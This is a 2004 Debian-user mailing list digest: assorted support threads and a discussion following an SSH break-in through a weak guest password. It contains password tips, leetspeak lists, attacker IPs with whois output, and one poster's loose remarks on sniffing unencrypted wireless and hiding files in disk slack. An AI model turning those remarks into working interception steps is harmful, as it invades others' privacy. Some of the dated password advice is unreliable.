Re: See what a weak password will get ya?

2004-07-22 Thread Joost De Cock
Quoting "s. keeling" <[EMAIL PROTECTED]>:

> Incoming from Scarletdown:
> >
> > An example of a good password (though since I'm posting it here, it can
> > no longer be considered good) is:
> >
> > [EMAIL PROTECTED]
>
> I disagree.  A cracking program is going to attempt to match
> permutations of dictionary words.  This will not add much more time to
> reach the solution.  Better is concatenation of two strings that won't
> match a dictionary pattern:
>
> b1rDW0rm

What also makes pretty good passwords is shifting your hands around on the
keyboard. Take a simple to remember password (long enough) and then when typing
on the keyboard, don't press the key you need but the on below it to the right
(for example).

slartibartfast becomes:
x.zfgl zfgvzxg

Letters to the right of the keyboard is best since they yield plenty of '\]\'///
stuff :)
Also using shift every other letter or such is good.

Be creative and combine different techniques instead of depending on one. A
friend of mine once was complaining that he couldn't think of a decent password,
so I made him this one:

[EMAIL PROTECTED]

Straight for the ass! (he's a dirty mind)

Passwords are fun ;)

joost


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Re: See what a weak password will get ya?

2004-07-22 Thread Karsten M. Self
on Thu, Jul 22, 2004 at 07:24:01PM -0700, Scarletdown ([EMAIL PROTECTED]) wrote:
> Paul Stolp wrote:
> >I checked in on some bittorrent progress today at lunch, noticed my
> >I'm not sure the July 19 log snippet is related, but seems likely.
> >Anyways, I've re-downloaded the files the attacker used and removed (for
> >posterity.)
> >I changed all passwords, IP Address, I found the evidence at about
> >12:24.
> >Just wanted to share the need for strong passwords.
> 
> I second that recommendation.  I always prefer to have passwords with 
> the following features:
> 
> Minimum of 8 characters
> At least 1 capital letter
> At least 1 lower case letter
> At least 1 number
> At least 1 special character
> 
> An example of a good password (though since I'm posting it here, it can 
> no longer be considered good) is:
> 
> [EMAIL PROTECTED]

My own preference is the 'pwgen' and 'gpw' utilities included in Debian,
combined with either the PalmOS "Keyring" utility or the vim "editing
encrypted files transparently" hack documented at:

http://twiki.iwethey.org/Main/IwtNix


Sample pwgen output:

Eive3viequ oos5eigooV aeR0ahwein ooNigh1oos Jui6hailel oMaex1ohve
xah8shoJai Ahnaotach9 Paiphie9ph pah8ahcaeG Uapahph6ik taiYolu4os
aiHahp7jae usheXeec7a Ucei9joong Eteefa6aeg Eethohqu2i neiBaeg4ai
Eiri7eagee Pahceibie8 Yeg0iediev eigiji6Gie Ouduo7pahs ya1weuNapo

And for gpw:

ulingain atailsel stedamen misavisi gasseder uarscroc rismener
rectivac icadoura ishoonce

What may not be immediately apparent is that the generated passwords are
pronounceable in a rough sort of a way.  The generation algorithms are
tunable to greater randomnes or mnemonic qualities.  It's possible to
test quality by generating a known number of passwords, sorting and
generating a uniq list, and counting the resulting lines.  My findings
are that even the relatively mnemonic lists are of very high quality.
Best tests are on 1m or more paswords, but for a relatively short run of
100,000:

$ time gpw 10 10 | sort | uniq | wc -l
99952

real0m9.968s
user0m9.730s
sys 0m0.050s

$ time pwgen 10 10 | sort | uniq | wc -l
99960

real1m1.252s
user0m13.550s
sys 0m45.360s


That's 99.952% and 99.960% uniq, respectively, default settings,
ten-character keys.

The observent reader will note that the length and count arguments are
reversed for these utilities  Remember this as you use them.


For an adult user population, I find that these keys are usually pretty
acceptable.

Working with children, I'm using longer keys by combining a set of
things.  Favorites is a good one, and typical keys run 10-15 characters.
Cryptanalysts will tell you that sticking to dictionary words reduces
the search space markedly, but in balance, it's a good compromise.  With
a user-base extending into the hundreds, only a handful of the youngest
routinely have problems logging in, and I know the keys are not likely
used elsewhere.

Druthers?  I'd echo Greg Folkert's recommendations for key-based
authentication, and use a fob-based password generator plus a PIN.
Something randomly generated, something you have, something you know.
Playing percentages, that's a pretty decent system.

Biometrics?  The shortage of replacement keys, and perverse incentives
to key aquisition (and resultant discomfort) makes me *exceptionally*
wary.  Color me dubious (and leave me my digits and irises).



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Re: which package owns system busy icon

2004-07-22 Thread Paul Johnson
"J.S.Sahambi" <[EMAIL PROTECTED]> writes:

> I would like to know which package owns the icon which is displayed
> when system is busy.

Not exactly giving us much to work with.  What software are you
specifically talking about?  Have you tried finding the icon files and
looking them up on http://packages.debian.org/ ?




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truetype fonts in Mozilla - only good when page is UTF-8, bad otherwise

2004-07-22 Thread Miernik
I use latest Debian unstable, GNU/Linux system.

I would like to use only truetype fonts for webpages in my Mozilla 
browser, because the PCF fonts look ugly. 

These are the only packages that have anything to do with fonts, that 
I have installed:

defoma  
fontconfig  
gsfonts 
gsfonts-x11 
libfontconfig1  
libfreetype6
libt1-5 
libxft1 
libxft2 
ttf-arphic-gkai00mp 
ttf-bitstream-vera  
ttf-freefont
ttf-kochi-mincho
xfonts-base 

I deliberately did not install xfonts-100dpi or xfonts-75dpi becasue I 
do not want to use these fonts at all.

When I view a page which uses UTF-8 or ISO-8859-1 or US-ASCII 
encoding, truetype fonts are used, and it looks beautiful.

However if a page uses ISO-8859-2 or some other encoding, then fonts 
are ugly, I suspect that fonts from the gsfonts package are used.

I would remove the gsfonts package, but xpdf depends on it. Is there 
some other PDF reader that can use only truetype fonts to view PDFs, 
so I can remove gsfonts?

The package gsfonts-x11 is "Make Ghostscript fonts available to X11"
so I suspect that removing that might fix the problem, but j2re1.4 
depends on it!

Anyway, what is the proper way to resolve this problem?

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Re: enable duplex

2004-07-22 Thread Joost De Cock
Quoting Jacob Friis Larsen <[EMAIL PROTECTED]>:

> When I enable both eth0 and eth1 the network only works after boot when
> I do /etc/init.d/networking restart

That's odd. Check the
dmesg
output to see what goes wrong suring boot.
[...]
> Also when I set up bonding I can not use the network. This is what I did:
> modprobe bonding miimon=250 mode=1
> ifconfig bond0 81.7.167.228 netmask 255.255.255.240
> ifenslave bond0 eth0 eth1

Hmm, from the top of my head that seems ok. Did the modprobe module load
properly? (what's in dmesg). Can you see the bond0 interface in
ifconfig
?

What's the output of ifconfig? What's your routing table like after the bonding?
route -n
Can you ping the addresses of the 3 interfaces?
ping 81.7.167.226
ping 81.7.167.227
ping 81.7.167.228
Can you ping another host on the same network.
ping 81.7.167.229
What does
arp -a
show you.

> Any clues?

Not at the moment, but maybe the extra info shows something.

joost



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Documentation for NetJuke

2004-07-22 Thread cep welly
Anybody got documentation for NetJuke ???
I think it's gonna be a nice web apps package but unfortunely I can't get
any good documentation on it ( even after browsing in its official site )
cheers,
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Re: cracking - Re: See what a weak password will get ya?

2004-07-22 Thread Alvin Oga

On Thu, 22 Jul 2004, s. keeling wrote:

> Incoming from Alvin Oga:
> > 
> > - and hopefully, they don't have the passwd file from /etc/shadow
> > to compare against 
> 
> Agreed.  Once they're in, all bets are off. 

best to assume they are already in and sniffing .. 24x7 and work knowing
they can pick up info from their hidden special directory
- if you write a single "a" into  /tmp/a.txt
the other 511 bytes is available for a secret filesystem
( lots of unused disk space available for hiding
( that regular tools will never find these constantly changing
(  hidden files

> Why bother to crack if you can sniff?

but they and anybody can sniff ???  and yes ... 10x easier to sniff
and maybe even get lucky and get the passwd to all their machines
at work too

- sniff your boxes at the colo ...
( lots of wrong masks being set, to be able to sniff other
( machines - sorta illegal to sniff ??
 
- sniff the wireless connection ...
1/2 the wireless network is not encrypted, so hopefyully,
they are least using ssh for all data transfers
( good for tricking a few people to hang around longer
( to see what they're sniffing on an unencrypted wep traffic

- kimet + ethereal .. see your neighbor's data

c ya
alvin


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Re: how to edit a pdf file in linux

2004-07-22 Thread Karsten M. Self
on Thu, Jul 22, 2004 at 06:28:15AM -0500, Nate Bargmann ([EMAIL PROTECTED]) wrote:
> * Karsten M. Self <[EMAIL PROTECTED]> [2004 Jul 22 06:09 -0500]:
> > The point should be reiterated, however, that PDF is a *display* format,
> > not a preferred for for modifying texts, and in general, your best bet
> > is to go back to the source document itself.
> 
> So, using pdf2ps and expecting to be able to "edit" the resulting Post
> Script file is probably moot as well.  

Actually, that's about the level of editing I'd expect to be reasonable:
you're creating an overlay to put on top of the existing form.

PS => PDF conversions are trivial w/ pstools.

> At times it would nice to be able to download a PDF form and "edit" it
> by adding micely fonted test into the blanks.

Um.  Sure.  In theory.  Refer to standard lore on theory vs. practice.


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Configuring mozilla-plugin-vlc to use esd

2004-07-22 Thread Bill Wohler
I was happy to see that the mozilla-plugin-vlc package is able to do
some nifty things. However, I'd like it to speak to my esd daemon. I
went to:

  
http://tvplex.go.com/buenavista/ebertandroeper/popmp3_2.html?040719-metallicasomekindofmonster

and there wasn't any sound until I ran "esdctl off". There didn't seem
to be a context menu where I might be able to adjust it.

There wasn't really any good user documentation in
/usr/share/doc/mozilla-plugin-vlc.

Thoughts?

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Connection Timeouts with Polaroid DC700 - Serial

2004-07-22 Thread Scarletdown
Up until a few months ago, gphoto2 worked great with my Polaroid PDC700 
camera, which is connected to the first serial port (/dev/ttyS0).  After 
doing a dist-upgrade, I can no longer download pictures out of my 
camera.  I know the port is good, as I can reboot to the Windows-98 side 
of my system and download pictures from there, so I am guessing that 
this is a problem with gphoto2 itself, possibly whichever version is 
sitting in the debian/unstable archives.

Here is the output from the gphoto2 command with the --debug option:
0.09 main(2): ALWAYS INCLUDE THE FOLLOWING LINES WHEN SENDING DEBUG 
MESSAGES TO THE MAILING LIST:
0.000339 main(2): gphoto2 2.1.4
0.000475 main(2): gphoto2 has been compiled with the following options:
0.000631 main(2):  + gcc (C compiler used)
0.000769 main(2):  + no popt (for handling command-line parameters)
0.000924 main(2):  + exif (for displaying EXIF information)
0.001072 main(2):  + cdk (for accessing configuration options)
0.001221 main(2):  + no aa (for displaying live previews)
0.001368 main(2):  + jpeg (for displaying live previews in JPEG format)
0.001522 main(2):  + readline (for easy navigation in the shell)
0.001676 main(2): libgphoto2 2.1.4
0.001812 main(2): libgphoto2 has been compiled with the following options:
0.001972 main(2):  + gcc (C compiler used)
0.002111 main(2):  + EXIF (for special handling of EXIF files)
0.002263 main(2):  + no ltdl (working around buggy libltdl, eh? :-)
0.002418 main(2):  + /proc/meminfo (adapts cache size to memory available)
0.002583 main(2): libgphoto2_port 0.5.1
0.002721 main(2): libgphoto2_port has been compiled with the following 
options:
0.002881 main(2):  + gcc (C compiler used)
0.003019 main(2):  + USB (for USB cameras)
0.004466 main(2):  + serial (for serial cameras)
0.004726 main(2):  + no resmgr (serial port access and locking)
0.004877 main(2):  + no baudboy (serial port locking)
0.005023 main(2):  + no ttylock (serial port locking)
0.005171 main(2):  + no lockdev (serial port locking)
0.005317 main(2):  + no ltdl (working around buggy libltdl, eh? :-)
0.005880 gphoto2-camera(2): Listing files in '/'...
0.006052 gphoto2-camera(2): Initializing camera...
0.006202 gphoto2-camera(2): Loading 
'/usr/lib/gphoto2/2.1.4/libgphoto2_polaroid_pdc700.so'...
0.006504 gphoto2-port(2): Opening SERIAL port...
0.006678 gphoto2-port-serial(2): Trying to lock '/dev/ttyS0'...
0.006884 gphoto2-port(2): Setting timeout to 1000 millisecond(s)...
0.007055 gphoto2-port(2): Setting settings...
0.007199 gphoto2-port-serial(2): Setting baudrate to 115200...
0.007417 gphoto2-port(2): Writing 5=0x5 byte(s) to port...
0.007580 gphoto2-port(3): Hexdump of 5 = 0x5 bytes follows:
  40 00 02 01 01 - @

0.013208 gphoto2-port(2): Reading 3=0x3 bytes from port...
0.013374 gphoto2-port(3): Hexdump of 3 = 0x3 bytes follows:
  40 03 00   - @..
0.013597 gphoto2-port(2): Reading 3=0x3 bytes from port...
0.013750 gphoto2-port(3): Hexdump of 3 = 0x3 bytes follows:
  81 01 82   - ...
0.013995 gphoto2-filesystem(2): Listing files in '/'...
0.014154 gphoto2-filesystem(2): Querying folder /...
0.014302 gphoto2-port(2): Writing 5=0x5 byte(s) to port...
0.014455 gphoto2-port(3): Hexdump of 5 = 0x5 bytes follows:
  40 00 02 02 02 - @
0.023264 gphoto2-port(2): Reading 3=0x3 bytes from port...
0.023425 gphoto2-port(3): Hexdump of 3 = 0x3 bytes follows:
  40 43 00   - @C.
0.023651 gphoto2-port(2): Reading 67=0x43 bytes from port...
0.033158 gphoto2-port(3): Hexdump of 67 = 0x43 bytes follows:
  82 01 01 12 04 02 01 13-01 00 76 32 2e 34 35 65  ..v2.45e
0010  00 00 03 00 17 00 00 01-01 04 32 24 04 00 4e 23  ..2$..N#
0020  21 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00  !...
0030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  
0040  00 00 62   - ..b
0.033639 gphoto2-filesystem(2): Added 'PDC701.jpg'
0.033795 gphoto2-filesystem(2): Added 'PDC702.jpg'
0.033949 gphoto2-filesystem(2): Added 'PDC703.jpg'
0.034100 filesys(2): Listed 'PDC701.jpg'
0.034243 filesys(2): Listed 'PDC702.jpg'
0.034384 filesys(2): Listed 'PDC703.jpg'
0.034546 gphoto2-camera(2): Getting file 'PDC701.jpg' in folder '/'...
0.034716 libgphoto2/gphoto2-filesys.c(2): Getting file 'PDC701.jpg' 
from folder '/' (type 1)...
0.035342 context(2): Downloading 'PDC701.jpg' from folder '/'...
Downloading 'PDC701.jpg' from folder '/'...
0.035897 pdc700/pdc700.c(2): Getting info about picture 1...
0.036072 gphoto2-port(2): Writing 7=0x7 byte(s) to port...
0.036225 gphoto2-port(3): Hexdump of 7 = 0x7 bytes follows:
  40 00 04 05 01 00 06   - @..

0.044761 gphoto2-port(2): Reading 3=0x3 bytes from port...
0.044950 gphoto2-port(3): Hexdump of 3 = 0x3 bytes follow

which package owns system busy icon

2004-07-22 Thread J.S.Sahambi
I would like to know which package owns the icon which is displayed when 
system is busy.

Thanking in advance
JSS
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Re: cracking - Re: See what a weak password will get ya?

2004-07-22 Thread s. keeling
Incoming from Alvin Oga:
> 
>   - and hopefully, they don't have the passwd file from /etc/shadow
>   to compare against 

Agreed.  Once they're in, all bets are off.  Why bother to crack if
you can sniff?


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it was supposed to be my first DVD

2004-07-22 Thread Dan Jacobson
It's my first DVD, and
# mplayer dvd://1
libdvdread: Using libdvdcss version 1.2.5 for DVD access
libdvdread: Could not open /dev/dvd with libdvdcss.
libdvdread: Can't open /dev/dvd for reading
Couldn't open DVD device: /dev/dvd

Does this mean the physical device,
# cat /proc/ide/ide1/hdd/m*
cdrom
DVD-ROM DDU1621
is bad? or is my lilo.conf
append="pci=biosirq hdc=ide-scsi hdd=ide-scsi max_scsi_luns=1"
bad? and why above does it say cdrom?

I assume it is these issues and we haven't even got to the encryption
business. Yes I linked hdd->dvd.


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cracking - Re: See what a weak password will get ya?

2004-07-22 Thread Alvin Oga


On Thu, 22 Jul 2004, s. keeling wrote:

> > > I disagree.  A cracking program is going to attempt to match
> > > permutations of dictionary words.  This will not add much more time to

...

how fast can a cracking system go thru dictionary words that are mispelled 
with various digits and special char
- changing o to 0 ( and equivalents ) wont slow down the crackers

- brute force cracking will take 60**8 permutations (1.7x10**14) :-)
( a-z A-Z 0-9 30special chars )
- a small number of permutations by math standards

- but NOT all character positions will be special random
characters which than simplifies the possible permutations

if you can think of these modified passwd, a good cracking program should
already be checking for it too :-)

-- a trick question ... how does the cracker know that they hit the right
   passwd ??
- they cant be logging into your box for each try
- your box should be denying remote access after 3-5 
failed login attempts

- and hopefully, they don't have the passwd file from /etc/shadow
to compare against 

> However, if you haven't moved to RSA based longer passwords, that's
> effectively "x[([EMAIL PROTECTED])" (which isn't bad, but you may be typing more than
> is recognized).  Stock passwords are eight chars.  The rest are ignored.

it seem like some systems uses more than 8char pwd and others ignore the
balance ..

c ya
alvin


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Re: See what a weak password will get ya?

2004-07-22 Thread Tim Connors
Mathieu Ducharme <[EMAIL PROTECTED]> said on Thu, 22 Jul 2004 23:33:48 -0400:
> I'm pretty sure dictionary attack also look for this. (?)
> 
> Use other characters that will make the word absolutely not dictionar- related
> 
> x[([EMAIL PROTECTED])~(w0rD)]x
> 
> Still as easy to remember (longer to type though)

I don't rememeber my password, my fingers do.

Which means, that when you come off a plane with your BIOS passwd
protected laptop that you had been using fine for quite some time on
the plane and at the airport, and you develop a massive headache,
then the headache goes away, and you plug in, and try to remember your
password, because your fingers are getting it wrong, well, no good
happens.

So you try to log in to your home institution, thinking that maybe the
BIOS absorbed a few too many cosmic rays, and start panicking, because
none of the passwords you have used in the past 5 years
works. Eventually, let the pain in your head subside, and find out
that that headache simply caused your brain to forget that you changed
passwords about a month back, and somehow your fingers aren't
remembering for the time being :)

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Re: See what a weak password will get ya?

2004-07-22 Thread Monique Y. Mudama
On 2004-07-22, Paul Stolp penned:
>
> Anyways, I've re-downloaded the files the attacker used and removed
> (for posterity.) I changed all passwords, IP Address, I found the
> evidence at about 12:24.  Just wanted to share the need for strong
> passwords.

I'd add the suggestion to not use obvious usernames like "guest" ... 

Btw, are you 100% sure they never managed to root you and replace some
of your files?

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Re: See what a weak password will get ya?

2004-07-22 Thread Greg Folkert
On Thu, 2004-07-22 at 22:59, s. keeling wrote:
> Incoming from Scarletdown:
> > 
> > An example of a good password (though since I'm posting it here, it can 
> > no longer be considered good) is:
> > 
> > [EMAIL PROTECTED]
> 
> I disagree.  A cracking program is going to attempt to match
> permutations of dictionary words.  This will not add much more time to
> reach the solution.  Better is concatenation of two strings that won't
> match a dictionary pattern:
> 
> b1rDW0rm
> 
> > |<  == K
> > >< == X
> > |> == P
> > 
> > Anyone else care to add to this little list?
> 
> Hadn't thought of those.  Cute.
> 
> Apparently, the best is to replace crypt based passwords with RSA
> based, and use longer passwords.

Actually, best actual reasonable password is: to not use one

Use key-based authentication. Personally, I use 2048bit keys for machine
that are considered core/valuable.

Play machines... only get 1024bit. I have a master private key, with
everything being generated as subkeys from that. Yeap, the passphrase
for it is actually purty darn long. It is one of those things you hate
to type in. I really think about how long it is, it just flows from the
hands. Now come to think of it... at least 25 characters long.

Key authentication is by far much more secure than a regular password.

Best part is, you can make it so you only have to type your pass phrase
ONCE!
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Re: winbind and pam_mount

2004-07-22 Thread Greg Folkert
On Thu, 2004-07-22 at 14:42, [EMAIL PROTECTED] wrote:
> Hi,
>  
> I am configuring a system to authenticate users against an AD windows
> 2003 server, and if the user does not have a homedir it will
> automatically be created on the Linux server.
>  
> Ive managed to do all this using the winbind daemon, samba, kerboros
> (for autherntication) to the AD server.
>  
> However i would like to take this one step forward so that users
> windows "Home Directories" are also automatically mounted upon logon
> to the linux server, they need to be mounted within a mount folder
> under their Linux homedir .
>  
> i can do this using pam_mount, but this means i need to know exactly
> which windows server the users homedirectory is located, i would like
> a way for querying the ADS to check which windows server the user is
> on and then automatically mount the windows homedir on the linux
> server.
>  
> Does anyone have a script or know anyway this can be done?

Well, I believe there are some references I'll have to look for...

But, what I am REALLY looking for is for you to send me a confidential
or sanitized smb.conf.

I am struggling severely right now with the exact issue you have solved.

Beggin. I'll do the research for the pam stuff and help out that way...
Honest!!!

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SOLVED: /bin/sh: line 1: root: command not found

2004-07-22 Thread Christopher L. Everett
Christopher L. Everett wrote:
People,
I keep getting these emails, from multiple servers relating to entries in
/etc/crontab.  AFAIK, I'm doing everything right (maybe not the best way
technically, but following what the documentation says):
 -- using crontab -e
 -- looks the same to me as a working crontab on another server
 -- crontab package versions the same as a working crontab
 -- checked `man -e5 crontab` to see I had the correct format
I've googled for about 3 hours, and nothing that looks like an answer,
despite the fact that the problem happens often enough to deserve a FAQ.
I did find where for some reason, vi stuck a 2 byte UTF-8 character in
for the tab key (why? why? why?), but replacing it with a space did not
help, the only difference now is that the wide character doesn't show
on the subject line in my Mozilla mailbox.  In fact I replaced all the
tabs in /etc/crontab with space to no effect.
I'm all out of clue and this has my production servers snarled up.  Any
ideas here?
I figured it out: I believe another sysadmin ran `crontab /etc/crontab`,
which hosed everything up.  I found the answer on a BSD FAQ page of all
places.
Making a copy of /etc/crontab, running `crontab -r` to remove all the 
cronjobs, and restoring the /etc/crontab file did the trick.  The info
and man pages for cron & crontab do not tell you not to use `crontab
/etc/crontab`, though they don't tell you to do it either.

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Re: OT: Re: See what a weak password will get ya?

2004-07-22 Thread s. keeling
Incoming from Paul Stolp:
> * s. keeling <[EMAIL PROTECTED]> [2004-07-22 22:03]:
> > Incoming from Paul Stolp:
> > > look for damage, whew, I was O.K. -- I'm sure it helps to be up to date
> > ...
> > 
> > How did you manage to verify that?  Are you running chkrootkit?
> > tripwire?  Something else?
> 
> chkrootkit, plus verification of md5sums of certain binaries.

Good luck.  You're drivin'.  Me?  I'd at least take it off-line and
burn a CD.  Then you can have something to compare it to if anything
starts to look wonky in the future.


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Re: See what a weak password will get ya?

2004-07-22 Thread charlie derr
Paul Stolp wrote:
* dircha <[EMAIL PROTECTED]> [2004-07-22 21:48]:
Scarletdown wrote:
|<  == K
< == X
|> == P
Anyone else care to add to this little list?
0 == O
$ == S
|-| == H
|_| == U
|_ == L
\/\/ == W
/\/\ == M
|V| == M
|\| == N
|-o-| == tie fighter
{-o-} == tie interceptor

Good plan, I need to improve my ascii art collection.
^ = V or n //well, sort of :-0
! = i
4 = A
& = G
3 = E
5 = S
+ = T
i suppose now i ought to look at the rest of the thread too (i didn't 
notice where it started)

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Re: See what a weak password will get ya?

2004-07-22 Thread Paul Stolp
* Chris Metzler <[EMAIL PROTECTED]> [2004-07-22 22:18]:
> On Thu, 22 Jul 2004 17:42:53 -0500
> Paul Stolp <[EMAIL PROTECTED]> wrote:
> >
> > shutdown -h now  !
> 
> Believe it or not, this is often a bad idea.  It's often easier to
> determine the scope of a compromise by watching the intrude for a little
> while than to attempt to find out afterwards with forensics.

I thought this afterwards, but it appears the attacker went away empty
handed anyways. He was already logged out when I noticed the high load.
He tried to kill the "t" program, but couldn't. I suspect he was
somewhat inept (as was I with the pathetic password I assigned to the
guest account!) in reviewing the logs and bash history, it becomes
fairly easy to piece together.

I will definitely consider your advice when I'm in this situation again.

> 
> > look for damage, whew, I was O.K.
> 
> How did you determine this?

chkrootkit and, more satisfying to me, md5sums of some key binaries.

Thanks,
Paul
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Re: OT: Re: See what a weak password will get ya?

2004-07-22 Thread Paul Stolp
* s. keeling <[EMAIL PROTECTED]> [2004-07-22 22:03]:
> Incoming from Paul Stolp:
> > I checked in on some bittorrent progress today at lunch, noticed my
> > process monitor showing full activity. Ran top, saw user "guest" logged
> > on, running 4 instances of a program named "t", and short term load
> > average over 4. AAGGGHHH!
> > shutdown -h now  !
> > pull network cable
> > reboot
> > look for damage, whew, I was O.K. -- I'm sure it helps to be up to date
> ...
> 
> How did you manage to verify that?  Are you running chkrootkit?
> tripwire?  Something else?

chkrootkit, plus verification of md5sums of certain binaries.

> 
> (0) keeling /home/keeling_ host smenlove.home.ro
> smenlove.home.roA   81.196.20.133
> 
> (0) keeling /home/keeling_ ripe 81.196.20.133
> inetnum:  81.196.20.128 - 81.196.20.159
> netname:  RO-RDS-HOME-RO
> descr:Home.RO / Go.RO
> country:  RO
> admin-c:  HAD6-RIPE
> tech-c:   HAD6-RIPE
> status:   ASSIGNED PA
> remarks:  INFRA-AW
> remarks:  +---+
> remarks:  | ABUSE CONTACT: [EMAIL PROTECTED] IN CASE OF HACK ATTACKS, |
> remarks:  | ILLEGAL ACTIVITY, VIOLATION, SCANS, PROBES, SPAM, ETC.|
> remarks:  +---+
> ...
> 

Reported.

> 
> > Jul 22 10:24:39 greta sshd[22405]: Accepted password for guest from
> > 156.17.99.11
> >  port 37228 ssh2
> >  Jul 22 10:24:39 greta sshd[22407]: (pam_unix) session opened for user
> >  guest by (
> >  uid=0)
> ...^
> 
maybe I'm missing something, but isn't that how sshd works? That's what
I get logging in from my usual account...

> > Jul 22 12:09:33 greta sshd[22595]: Accepted password for guest from
> > 80.110.102.105 port 3938 ssh2
> > Jul 22 12:09:33 greta sshd[22597]: (pam_unix) session opened for user
> > guest by (uid=0)
> > Jul 22 12:12:45 greta passwd[22663]: (pam_unix) authentication failure;
   ^^^
> > logname=guest uid=1002 euid=0 tty= ruser=
> .^^
> 
> 
> > Just wanted to share the need for strong passwords.
> 
> Not to mention backups and fresh installation media?
> 

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Re: See what a weak password will get ya?

2004-07-22 Thread Paul Stolp
* dircha <[EMAIL PROTECTED]> [2004-07-22 21:48]:
> Scarletdown wrote:
> >|<  == K
> > >< == X
> >|> == P
> >
> >Anyone else care to add to this little list?
> 
> 0 == O
> $ == S
> |-| == H
> |_| == U
> |_ == L
> \/\/ == W
> /\/\ == M
> |V| == M
> |\| == N
> |-o-| == tie fighter
> {-o-} == tie interceptor

Good plan, I need to improve my ascii art collection.
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Re: See what a weak password will get ya?

2004-07-22 Thread s. keeling
Incoming from Mathieu Ducharme:
> On July 22, 2004 10:59 pm, s. keeling wrote:
> > Incoming from Scarletdown:
> > > An example of a good password (though since I'm posting it here, it can
> > > no longer be considered good) is:
> > >
> > > [EMAIL PROTECTED]
> >
> > I disagree.  A cracking program is going to attempt to match
> > permutations of dictionary words.  This will not add much more time to
> >
> > b1rDW0rm
> 
> I'm pretty sure dictionary attack also look for this. (?)

It was just an example.  I sprinkle liberally with punctuation.  :-)

> Use other characters that will make the word absolutely not dictionary related
> 
> x[([EMAIL PROTECTED])~(w0rD)]x

However, if you haven't moved to RSA based longer passwords, that's
effectively "x[([EMAIL PROTECTED])" (which isn't bad, but you may be typing more than
is recognized).  Stock passwords are eight chars.  The rest are ignored.


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Re: See what a weak password will get ya?

2004-07-22 Thread Mathieu Ducharme
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On July 22, 2004 10:59 pm, s. keeling wrote:
> Incoming from Scarletdown:
> > An example of a good password (though since I'm posting it here, it can
> > no longer be considered good) is:
> >
> > [EMAIL PROTECTED]
>
> I disagree.  A cracking program is going to attempt to match
> permutations of dictionary words.  This will not add much more time to
> reach the solution.  Better is concatenation of two strings that won't
> match a dictionary pattern:
>
> b1rDW0rm
>

I'm pretty sure dictionary attack also look for this. (?)

Use other characters that will make the word absolutely not dictionar- related

x[([EMAIL PROTECTED])~(w0rD)]x

Still as easy to remember (longer to type though)

> > |<  == K
> > |
> > >< == X
> > >
> > |> == P
> >
> > Anyone else care to add to this little list?
>
> Hadn't thought of those.  Cute.
>
> Apparently, the best is to replace crypt based passwords with RSA
> based, and use longer passwords.
>
>
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Re: See what a weak password will get ya?

2004-07-22 Thread Chris Metzler
On Thu, 22 Jul 2004 17:42:53 -0500
Paul Stolp <[EMAIL PROTECTED]> wrote:
>
> I checked in on some bittorrent progress today at lunch, noticed my
> process monitor showing full activity. Ran top, saw user "guest" logged
> on, running 4 instances of a program named "t", and short term load
> average over 4. AAGGGHHH!
> shutdown -h now  !

Believe it or not, this is often a bad idea.  It's often easier to
determine the scope of a compromise by watching the intrude for a little
while than to attempt to find out afterwards with forensics.


> pull network cable
> reboot
> look for damage, whew, I was O.K.

How did you determine this?

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Re: Multihead display without a desktop on second monitor

2004-07-22 Thread Alvin Oga


On 22 Jul 2004, Frank H. Baker wrote:

> at the top and bottom on a uniform background.  I have not enabled
> Xinerama in XF86Config-4.

that should give you one desktop .. but also allow you to drag
xterms across the monitor which is NOT the same as DISPLAY=localhost:0.1
with xinerama off

> Do you have any suggestions how, for instance, to prevent a display
> manager from running on the two auxiliary screens or, I guess,
> to prevent a session from displaying on them?

my guess is you have to force feed it the defaults ...
- each distro might have different ideas of different XF86Config
defaults

i've had that 2nd desktop to show up or disappear based on which
XF86Config i'm using 

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Re: See what a weak password will get ya?

2004-07-22 Thread s. keeling
Incoming from Scarletdown:
> 
> An example of a good password (though since I'm posting it here, it can 
> no longer be considered good) is:
> 
> [EMAIL PROTECTED]

I disagree.  A cracking program is going to attempt to match
permutations of dictionary words.  This will not add much more time to
reach the solution.  Better is concatenation of two strings that won't
match a dictionary pattern:

b1rDW0rm

> |<  == K
> >< == X
> |> == P
> 
> Anyone else care to add to this little list?

Hadn't thought of those.  Cute.

Apparently, the best is to replace crypt based passwords with RSA
based, and use longer passwords.


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OT: Re: See what a weak password will get ya?

2004-07-22 Thread s. keeling
Incoming from Paul Stolp:
> I checked in on some bittorrent progress today at lunch, noticed my
> process monitor showing full activity. Ran top, saw user "guest" logged
> on, running 4 instances of a program named "t", and short term load
> average over 4. AAGGGHHH!
> shutdown -h now  !
> pull network cable
> reboot
> look for damage, whew, I was O.K. -- I'm sure it helps to be up to date
...

How did you manage to verify that?  Are you running chkrootkit?
tripwire?  Something else?

(0) keeling /home/keeling_ host smenlove.home.ro
smenlove.home.roA   81.196.20.133

(0) keeling /home/keeling_ ripe 81.196.20.133
inetnum:  81.196.20.128 - 81.196.20.159
netname:  RO-RDS-HOME-RO
descr:Home.RO / Go.RO
country:  RO
admin-c:  HAD6-RIPE
tech-c:   HAD6-RIPE
status:   ASSIGNED PA
remarks:  INFRA-AW
remarks:  +---+
remarks:  | ABUSE CONTACT: [EMAIL PROTECTED] IN CASE OF HACK ATTACKS, |
remarks:  | ILLEGAL ACTIVITY, VIOLATION, SCANS, PROBES, SPAM, ETC.|
remarks:  +---+
...

(0) keeling /home/keeling_ ripe 131.234.157.10
inetnum:  131.234.0.0 - 131.234.255.255
netname:  UNIPADERBORN
descr:Universitaet Paderborn
country:  DE
...

(0) keeling /home/keeling_ host 80.110.102.105
Name: chello080110102105.508.15.vie.surfer.at
Address: 80.110.102.105

(0) keeling /home/keeling_ ripe 80.110.102.105
inetnum:  80.110.48.0 - 80.110.118.255
netname:  VIE-15-CUSTOMER-LANCITY
descr:chello Austria
descr:Lancity Customers in Vienna, Headend 15
country:  AT
admin-c:  HMCB1-RIPE
tech-c:   HMCB1-RIPE
status:   ASSIGNED PA
remarks:  Contact [EMAIL PROTECTED] concerning criminal
remarks:  activities like spam, hacks, portscans

> Jul 22 10:24:39 greta sshd[22405]: Accepted password for guest from
> 156.17.99.11
>  port 37228 ssh2
>  Jul 22 10:24:39 greta sshd[22407]: (pam_unix) session opened for user
>  guest by (
>  uid=0)
...^

> Jul 22 12:09:33 greta sshd[22595]: Accepted password for guest from
> 80.110.102.105 port 3938 ssh2
> Jul 22 12:09:33 greta sshd[22597]: (pam_unix) session opened for user
> guest by (uid=0)
> Jul 22 12:12:45 greta passwd[22663]: (pam_unix) authentication failure;
> logname=guest uid=1002 euid=0 tty= ruser=
